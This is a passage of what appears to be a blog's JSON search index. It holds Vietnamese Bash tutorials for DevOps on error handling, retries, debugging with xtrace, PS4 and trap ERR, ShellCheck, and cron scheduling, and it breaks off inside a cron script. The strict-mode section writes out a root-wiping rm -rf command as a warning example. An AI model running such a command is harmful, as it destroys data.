sleep \u0026#34;$delay\u0026#34; (( attempt++ )) done return 0 } Ví dụ áp dụng Retry trong DevOps 1 2 3 4 5 # Kiểm tra dịch vụ Database sẵn sàng (tối đa 5 lần, mỗi lần cách nhau 3 giây) retry 5 3 curl -fsS \u0026#34;http://localhost:5432/healthz\u0026#34; # Tải file artifact từ remote storage với retry retry 3 5 aws s3 cp \u0026#34;s3://my-bucket/artifacts/app.tar.gz\u0026#34; \u0026#34;./app.tar.gz\u0026#34; Chiến lược Fail-Fast và phân cấp ghi log chuẩn mực Xử lý lỗi hiệu quả đòi hỏi sự cân bằng giữa hai hướng tiếp cận:\nFail-Fast (Thất bại sớm): Khi gặp các lỗi nghiêm trọng không thể phục hồi (như sai thông tin xác thực, thiếu tham số cấu hình, ổ cứng đầy), script phải dừng ngay lập tức kèm thông báo lỗi rõ ràng. Graceful Fallback (Dự phòng mềm dẻo): Khi tài nguyên chính không khả dụng nhưng có phương án thay thế (như chuyển sang server phụ hoặc dùng dữ liệu cache cũ), script ghi nhận cảnh báo và chuyển hướng luồng xử lý. Module ghi log chuẩn có phân cấp (Logging Framework) Ghi log với timestamp chuẩn ISO 8601, cấp độ nghiêm trọng (Log Level) và định tuyến chuẩn (stdout cho INFO, stderr cho WARN/ERROR):\n1 2 3 4 log_info() { echo \u0026#34;[$(date -u +\u0026#39;%Y-%m-%dT%H:%M:%SZ\u0026#39;)] [INFO] $*\u0026#34; ; } log_warn() { echo \u0026#34;[$(date -u +\u0026#39;%Y-%m-%dT%H:%M:%SZ\u0026#39;)] [WARN] $*\u0026#34; \u0026gt;\u0026amp;2 ; } log_error() { echo \u0026#34;[$(date -u +\u0026#39;%Y-%m-%dT%H:%M:%SZ\u0026#39;)] [ERROR] $*\u0026#34; \u0026gt;\u0026amp;2 ; } log_fatal() { echo \u0026#34;[$(date -u +\u0026#39;%Y-%m-%dT%H:%M:%SZ\u0026#39;)] [FATAL] $*\u0026#34; \u0026gt;\u0026amp;2 ; exit 1 ; } Ví dụ thực hành: Script Backup và đồng bộ dữ liệu an toàn Dưới đây là một kịch bản DevOps hoàn chỉnh ứng dụng toàn bộ các kiến thức trên: sử dụng Strict Mode, khóa tiến trình chống chạy trùng lặp, bẫy tín hiệu dọn dẹp trap, cơ chế retry khi tải dữ liệu lên remote server và định nghĩa exit code bài bản.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 #!/usr/bin/env bash # ============================================================================== # Script: backup-and-sync.sh # Mô tả : Sao lưu dữ liệu và đồng bộ lên server từ xa an toàn, chống gián đoạn # ============================================================================== set -euo pipefail IFS=$\u0026#39;\\n\\t\u0026#39; # --- Định nghĩa mã lỗi --- readonly EXIT_OK=0 readonly EXIT_LOCK_FAILED=20 readonly EXIT_BACKUP_FAILED=21 readonly EXIT_SYNC_FAILED=22 # --- Cấu hình đường dẫn --- readonly SOURCE_DIR=\u0026#34;/opt/production/data\u0026#34; readonly LOCK_FILE=\u0026#34;/tmp/backup-sync.lock\u0026#34; readonly WORK_DIR=$(mktemp -d -t backup-stage-XXXXXX) readonly TIMESTAMP=$(date +%Y%m%d_%H%M%S) readonly ARCHIVE_NAME=\u0026#34;backup-${TIMESTAMP}.tar.gz\u0026#34; # --- Hàm ghi log --- log_info() { echo \u0026#34;[$(date +\u0026#39;%Y-%m-%d %H:%M:%S\u0026#39;)] [INFO] $*\u0026#34;; } log_warn() { echo \u0026#34;[$(date +\u0026#39;%Y-%m-%d %H:%M:%S\u0026#39;)] [WARN] $*\u0026#34; \u0026gt;\u0026amp;2; } log_error() { echo \u0026#34;[$(date +\u0026#39;%Y-%m-%d %H:%M:%S\u0026#39;)] [ERROR] $*\u0026#34; \u0026gt;\u0026amp;2; } # --- Cơ chế dọn dẹp an toàn --- cleanup() { local status=$? log_info \u0026#34;Tiến hành dọn dẹp môi trường tạm...\u0026#34; if [[ -d \u0026#34;$WORK_DIR\u0026#34; ]]; then rm -rf \u0026#34;$WORK_DIR\u0026#34; log_info \u0026#34;Đã xóa thư mục tạm $WORK_DIR.\u0026#34; fi if [[ -f \u0026#34;$LOCK_FILE\u0026#34; ]]; then rm -f \u0026#34;$LOCK_FILE\u0026#34; log_info \u0026#34;Đã mở khóa tiến trình ($LOCK_FILE).\u0026#34; fi if [[ $status -ne 0 ]]; then log_error \u0026#34;Kịch bản sao lưu kết thúc bất thường với mã: $status\u0026#34; fi } trap cleanup EXIT SIGINT SIGTERM # --- Hàm thử lại (Retry Pattern) --- retry_command() { local max_tries=\u0026#34;$1\u0026#34; local wait_sec=\u0026#34;$2\u0026#34; shift 2 local cmd=(\u0026#34;$@\u0026#34;) local count=1 until \u0026#34;${cmd[@]}\u0026#34;; do local code=$? if (( count \u0026gt;= max_tries )); then log_error \u0026#34;Lệnh \u0026#39;${cmd[*]}\u0026#39; thất bại sau $count lần thử.\u0026#34; return \u0026#34;$code\u0026#34; fi log_warn \u0026#34;Thao tác chưa thành công (lần $count/$max_tries). Đang thử lại sau ${wait_sec}s...\u0026#34; sleep \u0026#34;$wait_sec\u0026#34; (( count++ )) done return 0 } # --- Luồng thực thi chính --- main() { log_info \u0026#34;Bắt đầu quy trình sao lưu dữ liệu...\u0026#34; # 1. Kiểm tra khóa tiến trình (Tránh chạy đồng thời) if [[ -f \u0026#34;$LOCK_FILE\u0026#34; ]]; then local running_pid running_pid=$(cat \u0026#34;$LOCK_FILE\u0026#34; 2\u0026gt;/dev/null || echo \u0026#34;\u0026#34;) if [[ -n \u0026#34;$running_pid\u0026#34; ]] \u0026amp;\u0026amp; kill -0 \u0026#34;$running_pid\u0026#34; 2\u0026gt;/dev/null; then log_error \u0026#34;Một tiến trình sao lưu khác (PID: $running_pid) đang chạy. Hủy tác vụ!\u0026#34; exit \u0026#34;$EXIT_LOCK_FAILED\u0026#34; fi fi echo $$ \u0026gt; \u0026#34;$LOCK_FILE\u0026#34; # 2. Kiểm tra thư mục nguồn if [[ ! -d \u0026#34;$SOURCE_DIR\u0026#34; ]]; then log_error \u0026#34;Thư mục nguồn $SOURCE_DIR không tồn tại!\u0026#34; exit \u0026#34;$EXIT_BACKUP_FAILED\u0026#34; fi # 3. Nén dữ liệu vào thư mục tạm log_info \u0026#34;Đang nén dữ liệu từ $SOURCE_DIR...\u0026#34; tar -czf \u0026#34;$WORK_DIR/$ARCHIVE_NAME\u0026#34; -C \u0026#34;$SOURCE_DIR\u0026#34; . || { log_error \u0026#34;Quá trình nén file thất bại!\u0026#34; exit \u0026#34;$EXIT_BACKUP_FAILED\u0026#34; } log_info \u0026#34;Đã tạo bản nén thành công: $ARCHIVE_NAME ($(du -h \u0026#34;$WORK_DIR/$ARCHIVE_NAME\u0026#34; | cut -f1))\u0026#34; # 4. Giả lập đồng bộ lên Backup Server từ xa với cơ chế Retry log_info \u0026#34;Bắt đầu đồng bộ bản lưu trữ sang máy chủ backup...\u0026#34; # Giả lập thao tác sync bằng lệnh sao chép nội bộ (có retry) mkdir -p \u0026#34;/opt/remote-storage/backups\u0026#34; if ! retry_command 3 2 cp \u0026#34;$WORK_DIR/$ARCHIVE_NAME\u0026#34; \u0026#34;/opt/remote-storage/backups/\u0026#34;; then log_error \u0026#34;Không thể đồng bộ file lên máy chủ lưu trữ sau nhiều lần thử!\u0026#34; exit \u0026#34;$EXIT_SYNC_FAILED\u0026#34; fi log_info \u0026#34;Đồng bộ thành công bản sao lưu vào kho lưu trữ từ xa.\u0026#34; log_info \u0026#34;Toàn bộ quy trình hoàn tất mỹ mãn!\u0026#34; } main \u0026#34;$@\u0026#34; Ghi chú triển khai Không bọc lệnh trap bằng các tác vụ dễ phát sinh lỗi: Bản thân hàm trong trap cần viết cực kỳ đơn giản, an toàn và có kiểm tra sự tồn tại của file trước khi gọi rm để tránh gây ra lỗi lặp đệ quy. Tránh nhầm lẫn giữa $? và subshell: Khi gán result=$(command), giá trị $? ngay sau đó phản ánh mã thoát của lệnh gán trong subshell. Hãy lưu mã lỗi vào một biến cục bộ local status=$? ngay dòng đầu tiên trước khi thực hiện bất kỳ lệnh echo hay kiểm tra nào khác. Xử lý tín hiệu trong Docker Container: Khi chạy script làm ENTRYPOINT trong Docker, hãy đảm bảo script chạy ở PID 1 (hoặc sử dụng công cụ như tini / dumb-init) để các tín hiệu SIGTERM từ docker stop được chuyển đúng đến lệnh trap trong Bash. Phân định rõ Stderr và Stdout: Luôn chuyển hướng thông báo lỗi sang \u0026gt;\u0026amp;2 (stderr). Điều này giúp các pipeline CI/CD hoặc các lệnh khác trong chuỗi pipe không bị parse nhầm nội dung log lỗi vào luồng dữ liệu nghiệp vụ. Lời kết Xử lý lỗi chủ động là ranh giới phân định giữa một script nghiệp dư dễ gãy vụn và một công cụ tự động hóa chuẩn mực sẵn sàng cho môi trường Production. Việc kết hợp chặt chẽ giữa set -euo pipefail, bẫy tín hiệu trap dọn dẹp tài nguyên và cơ chế tự động thử lại retry sẽ giúp hạ tầng DevOps của bạn vận hành trơn tru và có khả năng tự phục hồi mạnh mẽ.\nỞ bài tiếp theo, chúng ta sẽ bước vào giai đoạn tự động hóa nâng cao với Bài 11 — Tích hợp Bash Script vào quy trình CI/CD: thiết kế pipeline build, test và deploy tự động an toàn trên GitHub Actions và GitLab CI.\n","date":"05/07/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-ten.webp","permalink":"/vi/posts/bash/bash-step-ten/","summary":"Hướng dẫn toàn diện về xử lý ngoại lệ trong Bash: quy ước Exit Code, bẫy lỗi với trap EXIT/ERR, cạm bẫy của set -e, cơ chế Retry tự động và dọn dẹp tài nguyên an toàn.","tags":["bash","shell-script","devops","error-handling","linux","automation","reliability"],"title":"Error Handling trong Bash: Bắt lỗi, thử lại và phục hồi sự cố cho DevOps"},{"categories":["DevOps","Bash"],"content":"Debug script trong Bash cho DevOps Ở bài trước chúng ta đã làm quen với việc lên lịch chạy script tự động bằng cron. Khi một script được đưa lên server để chạy nền hoặc tích hợp vào pipeline CI/CD, việc script phát sinh lỗi mà không để lại dấu vết rõ ràng là một trong những nguyên nhân phổ biến nhất gây gián đoạn hệ thống.\nKhác với các ngôn ngữ biên dịch hoặc có runtime phong phú (như Go, Python), Bash script theo mặc định có xu hướng tiếp tục chạy ngay cả khi một câu lệnh bị lỗi. Một biến bị gõ sai tên, một đường dẫn không tồn tại hay một pipe trả về mã lỗi âm thầm đều có thể biến một script dọn dẹp đơn giản thành thảm họa xóa nhầm dữ liệu.\nBài viết này tổng hợp toàn bộ các kỹ thuật debug từ cơ bản đến nâng cao trong Bash: từ kiểm tra cú pháp khô (dry-run), theo dõi dấu vết thực thi (execution tracing), tùy biến định dạng trace với PS4, kích hoạt chế độ nghiêm ngặt (Strict Mode), bắt lỗi với trap ERR, cho đến kiểm tra tự động bằng ShellCheck.\nKiểm tra cú pháp nhanh với cờ bash -n Trước khi chạy thử một script có thể làm thay đổi hệ thống (như ghi đè file hay gọi API xóa tài nguyên), bạn luôn nên kiểm tra cú pháp trước bằng cờ -n (noexec).\n1 bash -n deploy.sh Cờ -n chỉ đọc và parse toàn bộ file để kiểm tra cấu trúc cú pháp (như thiếu từ khóa fi, quên đóng ngoặc }, cú pháp case...esac sai) mà hoàn toàn không thực thi bất kỳ câu lệnh nào.\nVí dụ với đoạn script có lỗi quên đóng ngoặc:\n1 2 3 4 5 #!/usr/bin/env bash if [ \u0026#34;$ENV\u0026#34; = \u0026#34;production\u0026#34; ]; then echo \u0026#34;Deploying to production...\u0026#34; # Quên fi Khi chạy kiểm tra cú pháp:\n1 2 $ bash -n deploy.sh deploy.sh: line 6: syntax error: unexpected end of file Trong quy trình CI/CD, bạn có thể thêm một bước kiểm tra toàn bộ file .sh trong repository bằng lệnh:\n1 find . -type f -name \u0026#34;*.sh\u0026#34; -exec bash -n {} + Tracing thực thi từng bước với bash -x và set -x Kỹ thuật debug phổ biến nhất trong Bash là Execution Tracing với cờ -x (xtrace). Khi bật cờ này, Bash sẽ in ra từng lệnh sau khi đã hoàn thành việc mở rộng biến (parameter expansion), thay thế lệnh (command substitution) và tách từ (word splitting), ngay trước khi lệnh đó được thực thi.\nCách 1: Chạy toàn bộ script ở chế độ trace 1 bash -x script.sh [arguments] Hoặc thêm cờ -x trực tiếp vào dòng Shebang đầu file:\n1 #!/usr/bin/env bash -x Cách 2: Bật tắt trace có chọn lọc trong script Nếu script dài hàng trăm dòng và bạn chỉ muốn theo dõi một đoạn logic cụ thể, hãy dùng cặp lệnh set -x (bật trace) và set +x (tắt trace):\n1 2 3 4 5 6 7 8 9 10 11 12 #!/usr/bin/env bash echo \u0026#34;Bắt đầu khởi tạo môi trường...\u0026#34; # Đoạn logic phức tạp cần theo dõi chi tiết set -x target_dir=\u0026#34;/opt/app/releases/$(date +%Y%m%d)\u0026#34; mkdir -p \u0026#34;$target_dir\u0026#34; cp -r ./dist/* \u0026#34;$target_dir/\u0026#34; set +x echo \u0026#34;Hoàn thành sao chép file.\u0026#34; Khi thực thi, chỉ phần nằm giữa set -x và set +x mới in chi tiết từng dòng lệnh với tiền tố dấu +:\n1 2 3 4 5 6 7 Bắt đầu khởi tạo môi trường... ++ date +%Y%m%d + target_dir=/opt/app/releases/20260702 + mkdir -p /opt/app/releases/20260702 + cp -r ./dist/app.bin ./dist/config.json /opt/app/releases/20260702/ + set +x Hoàn thành sao chép file. Nâng cấp đầu ra debug chuyên nghiệp với biến PS4 Theo mặc định, khi bật -x, Bash chỉ in dấu + trước mỗi dòng lệnh. Khi script gọi nhiều function hoặc source nhiều file khác nhau, rất khó để biết lệnh đó nằm ở file nào, hàm nào và dòng bao nhiêu.\nBiến môi trường PS4 (Prompt String 4) cho phép bạn tùy biến định dạng tiền tố in ra khi debug. Các biến hữu ích gồm:\nKý hiệu / Biến Ý nghĩa $0 hoặc ${BASH_SOURCE[0]} Tên file script hiện tại $LINENO Số dòng đang thực thi ${FUNCNAME[0]} Tên function đang chạy + Dấu cộng tăng theo độ sâu subshell Bạn có thể cấu hình PS4 ngay đầu script hoặc truyền trực tiếp từ dòng lệnh:\n1 export PS4=\u0026#39;+ [${BASH_SOURCE[0]##*/}:${LINENO}] ${FUNCNAME[0]:+${FUNCNAME[0]}(): }\u0026#39; Ví dụ kiểm chứng:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/env bash export PS4=\u0026#39;+ [${BASH_SOURCE[0]##*/}:${LINENO}] ${FUNCNAME[0]:+${FUNCNAME[0]}(): }\u0026#39; set -x build_package() { local version=\u0026#34;$1\u0026#34; echo \u0026#34;Đang đóng gói phiên bản $version...\u0026#34; } main() { local app_version=\u0026#34;v2.4.0\u0026#34; build_package \u0026#34;$app_version\u0026#34; } main Kết quả in ra cực kỳ rõ ràng, kèm chính xác tên hàm và số dòng:\n1 2 3 4 5 + [build.sh:15] main(): local app_version=v2.4.0 + [build.sh:16] main(): build_package v2.4.0 + [build.sh:8] build_package(): local version=v2.4.0 + [build.sh:9] build_package(): echo \u0026#39;Đang đóng gói phiên bản v2.4.0...\u0026#39; Đang đóng gói phiên bản v2.4.0... Chế độ nghiêm ngặt trong Bash (Strict Mode) Trong môi trường DevOps, hầu hết các lỗi nghiêm trọng xuất phát từ việc script âm thầm bỏ qua lỗi và tiếp tục chạy. Hãy đưa dòng cấu hình Strict Mode tiêu chuẩn vào đầu mọi script:\n1 2 set -euo pipefail IFS=$\u0026#39;\\n\\t\u0026#39; Ý nghĩa chi tiết của từng tùy chọn:\nset -e (errexit): Dừng script ngay lập tức nếu bất kỳ câu lệnh đơn lẻ nào trả về exit code khác 0. set -u (nounset): Báo lỗi và dừng script ngay nếu truy cập vào một biến chưa được định nghĩa (ngăn chặn các lỗi tai hại như rm -rf \u0026quot;$UNSET_VAR/*\u0026quot; biến thành rm -rf \u0026quot;/*\u0026quot;). set -o pipefail: Theo mặc định, pipeline cmd1 | cmd2 | cmd3 chỉ trả về exit code của cmd3. Tùy chọn này đảm bảo nếu cmd1 hoặc cmd2 bị lỗi, toàn bộ pipeline sẽ trả về mã lỗi của lệnh thất bại đầu tiên. IFS=$'\\n\\t': Đặt ký tự phân tách trường nội bộ chỉ gồm dấu xuống dòng và tab, tránh lỗi chia tách từ ngoài ý muốn khi biến chứa khoảng trắng. Cạm bẫy khi dùng set -e và cách xử lý Khi dùng set -e, nếu một lệnh kiểm tra dự kiến có thể trả về exit code khác 0 (ví dụ grep không tìm thấy dòng nào trả về 1), script sẽ bị dừng ngoài ý muốn. Cách xử lý đúng:\n1 2 3 4 5 6 7 8 9 # Cách 1: Thêm || true nếu lệnh không bắt buộc thành công grep \u0026#34;ERROR\u0026#34; /var/log/app.log || true # Cách 2: Bọc trong điều kiện if (set -e không ngắt trong if test) if grep -q \u0026#34;ERROR\u0026#34; /var/log/app.log; then echo \u0026#34;Phát hiện lỗi trong log.\u0026#34; else echo \u0026#34;Log an toàn.\u0026#34; fi Bắt lỗi và in Stack Trace với trap ERR Để script tự động ghi nhận ngữ cảnh khi gặp sự cố, bạn có thể kết hợp trap với tín hiệu ERR. Khi bất kỳ lệnh nào bị lỗi, hàm xử lý lỗi sẽ được gọi tự động và in ra dấu vết stack trace gồm file, tên hàm và số dòng.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #!/usr/bin/env bash set -euo pipefail # Hàm in stack trace khi có lỗi phát sinh handle_error() { local exit_code=\u0026#34;$1\u0026#34; local line_no=\u0026#34;$2\u0026#34; local command=\u0026#34;$3\u0026#34; echo \u0026#34;==========================================\u0026#34; \u0026gt;\u0026amp;2 echo \u0026#34;PHÁT HIỆN LỖI TRONG SCRIPT!\u0026#34; \u0026gt;\u0026amp;2 echo \u0026#34;Lệnh thất bại : $command\u0026#34; \u0026gt;\u0026amp;2 echo \u0026#34;Số dòng : $line_no\u0026#34; \u0026gt;\u0026amp;2 echo \u0026#34;Mã lỗi : $exit_code\u0026#34; \u0026gt;\u0026amp;2 echo \u0026#34;Dấu vết gọi hàm (Call Stack):\u0026#34; \u0026gt;\u0026amp;2 local frame=0 while caller $frame; do ((frame++)) done \u0026gt;\u0026amp;2 echo \u0026#34;==========================================\u0026#34; \u0026gt;\u0026amp;2 } # Đăng ký trap cho tín hiệu ERR trap \u0026#39;handle_error $? $LINENO \u0026#34;$BASH_COMMAND\u0026#34;\u0026#39; ERR step_one() { echo \u0026#34;Thực hiện bước 1...\u0026#34; } step_two() { echo \u0026#34;Thực hiện bước 2: gọi lệnh lỗi...\u0026#34; ls /duong-dan-khong-ton-tai-tren-he-thong } main() { step_one step_two echo \u0026#34;Hoàn thành.\u0026#34; } main Khi chạy script trên, ngay khi lệnh ls thất bại, hệ thống sẽ in ra bảng thông báo lỗi cùng stack trace chuẩn xác:\n1 2 3 4 5 6 7 8 9 10 11 12 13 Thực hiện bước 1... Thực hiện bước 2: gọi lệnh lỗi... ls: cannot access \u0026#39;/duong-dan-khong-ton-tai-tren-he-thong\u0026#39;: No such file or directory ========================================== PHÁT HIỆN LỖI TRONG SCRIPT! Lệnh thất bại : ls /duong-dan-khong-ton-tai-tren-he-thong Số dòng : 31 Mã lỗi : 2 Dấu vết gọi hàm (Call Stack): 31 step_two script.sh 36 main script.sh 40 main script.sh ========================================== Phân tích tĩnh tự động với ShellCheck ShellCheck là công cụ phân tích tĩnh (linter) mã nguồn Bash mạnh mẽ và phổ biến nhất hiện nay. ShellCheck có thể phát hiện hàng trăm lỗi tiềm ẩn: quên bọc ngoặc kép biến, sai cú pháp điều kiện, dùng sai lệnh nội tại, lỗi tính tương thích POSIX, v.v.\nCài đặt ShellCheck 1 2 3 4 5 # Trên Ubuntu / Debian sudo apt-get update \u0026amp;\u0026amp; sudo apt-get install -y shellcheck # Trên macOS qua Homebrew brew install shellcheck Chạy kiểm tra script 1 shellcheck deploy.sh Ví dụ một đoạn script chứa lỗi biến không được bọc ngoặc kép:\n1 2 3 #!/usr/bin/env bash filename=$1 rm -rf /tmp/data/$filename ShellCheck sẽ lập tức chỉ ra cảnh báo nguy cơ:\n1 2 3 In script.sh line 3: rm -rf /tmp/data/$filename ^-- SC2086 (info): Double quote to prevent globbing and word splitting. Tích hợp ShellCheck vào Git Pre-commit Hook hoặc pipeline CI giúp toàn bộ script trong team luôn đạt chuẩn chất lượng trước khi được merge vào branch chính.\nVí dụ thực hành: Script triển khai ứng dụng an toàn Dưới đây là một script DevOps hoàn chỉnh kết hợp đầy đủ: kiểm tra cú pháp, Strict Mode, tùy biến PS4, bắt lỗi trap ERR và kiểm tra tham số đầu vào.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 #!/usr/bin/env bash # ============================================================================== # Script: deploy-service.sh # Mục đích: Triển khai bản phát hành mới với cơ chế debug và bẫy lỗi an toàn # ============================================================================== set -euo pipefail IFS=$\u0026#39;\\n\\t\u0026#39; # Cấu hình định dạng tiền tố khi debug (bật khi truyền biến DEBUG=1) if [[ \u0026#34;${DEBUG:-0}\u0026#34; == \u0026#34;1\u0026#34; ]]; then export PS4=\u0026#39;+ [${BASH_SOURCE[0]##*/}:${LINENO}] ${FUNCNAME[0]:+${FUNCNAME[0]}(): }\u0026#39; set -x fi # Bẫy lỗi và dọn dẹp tài nguyên cleanup() { local exit_code=$? if [[ $exit_code -ne 0 ]]; then echo \u0026#34;[ERROR] Quá trình triển khai gặp lỗi với mã thoát: $exit_code\u0026#34; \u0026gt;\u0026amp;2 fi } trap cleanup EXIT handle_error() { local exit_code=\u0026#34;$1\u0026#34; local line_no=\u0026#34;$2\u0026#34; local cmd=\u0026#34;$3\u0026#34; echo \u0026#34;[CRITICAL] Lệnh \u0026#39;$cmd\u0026#39; tại dòng $line_no thất bại (exit code: $exit_code)\u0026#34; \u0026gt;\u0026amp;2 } trap \u0026#39;handle_error $? $LINENO \u0026#34;$BASH_COMMAND\u0026#34;\u0026#39; ERR # Kiểm tra tham số đầu vào APP_NAME=\u0026#34;${1:-}\u0026#34; RELEASE_VERSION=\u0026#34;${2:-}\u0026#34; if [[ -z \u0026#34;$APP_NAME\u0026#34; || -z \u0026#34;$RELEASE_VERSION\u0026#34; ]]; then echo \u0026#34;Sử dụng: $0 \u0026lt;app_name\u0026gt; \u0026lt;release_version\u0026gt;\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi DEPLOY_DIR=\u0026#34;/opt/apps/$APP_NAME/releases/$RELEASE_VERSION\u0026#34; echo \u0026#34;==\u0026gt; Bắt đầu triển khai $APP_NAME bản $RELEASE_VERSION...\u0026#34; mkdir -p \u0026#34;$DEPLOY_DIR\u0026#34; echo \u0026#34;==\u0026gt; Đang tải gói cài đặt...\u0026#34; # Giả lập thao tác tạo file cấu hình echo \u0026#34;version=$RELEASE_VERSION\u0026#34; \u0026gt; \u0026#34;$DEPLOY_DIR/version.env\u0026#34; echo \u0026#34;deployed_at=$(date -u +\u0026#34;%Y-%m-%dT%H:%M:%SZ\u0026#34;)\u0026#34; \u0026gt;\u0026gt; \u0026#34;$DEPLOY_DIR/version.env\u0026#34; echo \u0026#34;==\u0026gt; Cập nhật symlink \u0026#39;current\u0026#39;...\u0026#34; ln -sfn \u0026#34;$DEPLOY_DIR\u0026#34; \u0026#34;/opt/apps/$APP_NAME/current\u0026#34; echo \u0026#34;==\u0026gt; Triển khai $APP_NAME thành công!\u0026#34; Chạy script với cờ debug:\n1 DEBUG=1 ./deploy-service.sh web-api v1.0.0 Ghi chú triển khai Bảo vệ Secret khi bật debug: Cờ set -x sẽ in toàn bộ giá trị của biến ra màn hình/log. Nếu script của bạn có xử lý password, token hoặc API key, hãy nhớ dùng set +x để tắt trace trước khi đọc secret và chỉ bật lại set -x sau khi hoàn tất. Tách riêng luồng Log Debug: Trong production hoặc CI/CD, bạn có thể chuyển hướng đầu ra của xtrace (luồng file descriptor 2 / stderr) vào một file log riêng biệt để dễ kiểm tra lại: BASH_XTRACEFD=3 bash -x script.sh 3\u0026gt; /var/log/script-trace.log. Luôn kiểm tra ShellCheck trong CI: Thêm một step chạy shellcheck trong GitHub Actions hoặc GitLab CI để ngăn chặn các lỗi sơ đẳng trước khi mã nguồn đến tay người dùng. Không lạm dụng set -e mà thiếu trap: set -e giúp dừng script khi lỗi, nhưng nếu không có hàm cleanup đi kèm, script có thể để lại các file lock, thư mục tạm hoặc tài nguyên treo trên hệ thống. Lời kết Debug là một kỹ năng không thể thiếu để biến các script Bash từ những đoạn mã tự phát thành các công cụ tự động hóa chuẩn mực, đáng tin cậy trong môi trường DevOps. Bằng cách kết hợp bash -n, set -x, tùy biến PS4, kích hoạt Strict Mode và kiểm tra với ShellCheck, bạn có thể kiểm soát và xử lý triệt để mọi lỗi phát sinh.\nỞ bài tiếp theo, chúng ta sẽ đi sâu vào Bài 10 — Error Handling trong Bash: tìm hiểu chi tiết các chiến lược bắt lỗi, cơ chế thử lại (retry pattern) và dọn dẹp tài nguyên tự động.\n","date":"02/07/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-nine.webp","permalink":"/vi/posts/bash/bash-step-nine/","summary":"Hướng dẫn kỹ thuật debug Bash script cho DevOps: bash -x, bash -n, set -euo pipefail, tùy biến PS4, bắt lỗi với trap ERR và phân tích tĩnh với ShellCheck.","tags":["bash","shell-script","devops","debugging","linux","shellcheck","troubleshooting"],"title":"Debug script trong Bash: Tìm và sửa lỗi hiệu quả cho DevOps"},{"categories":["DevOps","Bash"],"content":"Cron job trong Bash cho DevOps Ở bài trước chúng ta đã quản lý biến, .env, tham số CLI và các biến đặc biệt trong Bash. Khi script đã chạy ổn định bằng tay, bước tiếp theo thường là: làm sao để nó tự chạy đúng thời điểm?\ncron là công cụ kinh điển trên Linux/Unix để chạy command hoặc script theo lịch. Với DevOps, cron thường dùng cho backup định kỳ, dọn log, healthcheck, đồng bộ file, tạo report, kiểm tra chứng chỉ SSL hoặc gọi một endpoint bảo trì nhẹ.\nĐiểm quan trọng: cron chạy trong môi trường tối giản hơn terminal của bạn. Vì vậy script chạy đúng khi gọi tay chưa chắc chạy đúng trong cron nếu thiếu PATH, working directory, biến môi trường hoặc log rõ ràng.\nCron và crontab là gì cron là daemon chạy nền, đọc các bảng lịch và thực thi command khi tới thời điểm phù hợp. Bảng lịch đó thường được gọi là crontab.\nMột số lệnh cơ bản:\n1 2 3 crontab -l # xem crontab của user hiện tại crontab -e # chỉnh crontab crontab -r # xóa crontab của user hiện tại Bạn có thể chỉnh crontab của user hiện tại bằng crontab -e. Trên server production, hãy cẩn thận với crontab -r vì lệnh này xóa toàn bộ lịch của user đó.\nVí dụ một dòng cron đơn giản:\n1 */5 * * * * /opt/scripts/check-health.sh \u0026gt;\u0026gt; /var/log/check-health.log 2\u0026gt;\u0026amp;1 Dòng trên chạy script mỗi 5 phút và ghi cả stdout/stderr vào file log.\nCú pháp lịch 5 trường Một cron job phổ biến có 5 trường thời gian, sau đó là command:\n1 2 3 4 5 6 7 * * * * * command-to-run │ │ │ │ │ │ │ │ │ └── day of week: 0-7 (0 hoặc 7 thường là Chủ nhật) │ │ │ └──── month: 1-12 │ │ └────── day of month: 1-31 │ └──────── hour: 0-23 └────────── minute: 0-59 Một vài ví dụ hay gặp:\n1 2 3 4 5 6 * * * * * # mỗi phút */5 * * * * # mỗi 5 phút 0 * * * * # đầu mỗi giờ 30 2 * * * # 02:30 mỗi ngày 0 3 * * 0 # 03:00 Chủ nhật hằng tuần 0 1 1 * * # 01:00 ngày đầu mỗi tháng Cron cũng hỗ trợ danh sách, range và bước nhảy:\n1 2 0 9,17 * * 1-5 # 09:00 và 17:00 từ thứ Hai đến thứ Sáu */10 8-18 * * * # mỗi 10 phút trong khung 08:00-18:59 Khi viết lịch cho production, nên thêm comment phía trên để người sau hiểu mục đích của job.\nShortcut @daily, @hourly, @reboot Nhiều hệ thống cron hỗ trợ các shortcut giúp crontab dễ đọc hơn:\n1 2 3 4 5 @hourly /opt/scripts/hourly-report.sh @daily /opt/scripts/backup-db.sh @weekly /opt/scripts/cleanup-old-logs.sh @monthly /opt/scripts/monthly-report.sh @reboot /opt/scripts/start-worker.sh @daily thường tương đương chạy một lần mỗi ngày vào nửa đêm. @reboot chạy khi cron daemon khởi động, thường dùng cho tác vụ nhẹ sau khi server boot.\nKhông nên lạm dụng @reboot cho service quan trọng. Với daemon dài hạn, systemd service thường phù hợp hơn vì có restart policy, dependency và log rõ ràng qua journalctl.\nViết script Bash thân thiện với cron Script chạy từ cron nên tự chuẩn bị môi trường cần thiết thay vì phụ thuộc vào shell tương tác.\nVí dụ khung script tốt:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #!/usr/bin/env bash set -euo pipefail PATH=\u0026#34;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0026#34; SCRIPT_DIR=\u0026#34;$(cd -- \u0026#34;$(dirname -- \u0026#34;${BASH_SOURCE[0]}\u0026#34;)\u0026#34; \u0026amp;\u0026amp; pwd)\u0026#34; LOG_DIR=\u0026#34;/var/log/example-app\u0026#34; mkdir -p \u0026#34;${LOG_DIR}\u0026#34; log_info() { printf \u0026#39;%s [INFO] %s\\n\u0026#39; \u0026#34;$(date 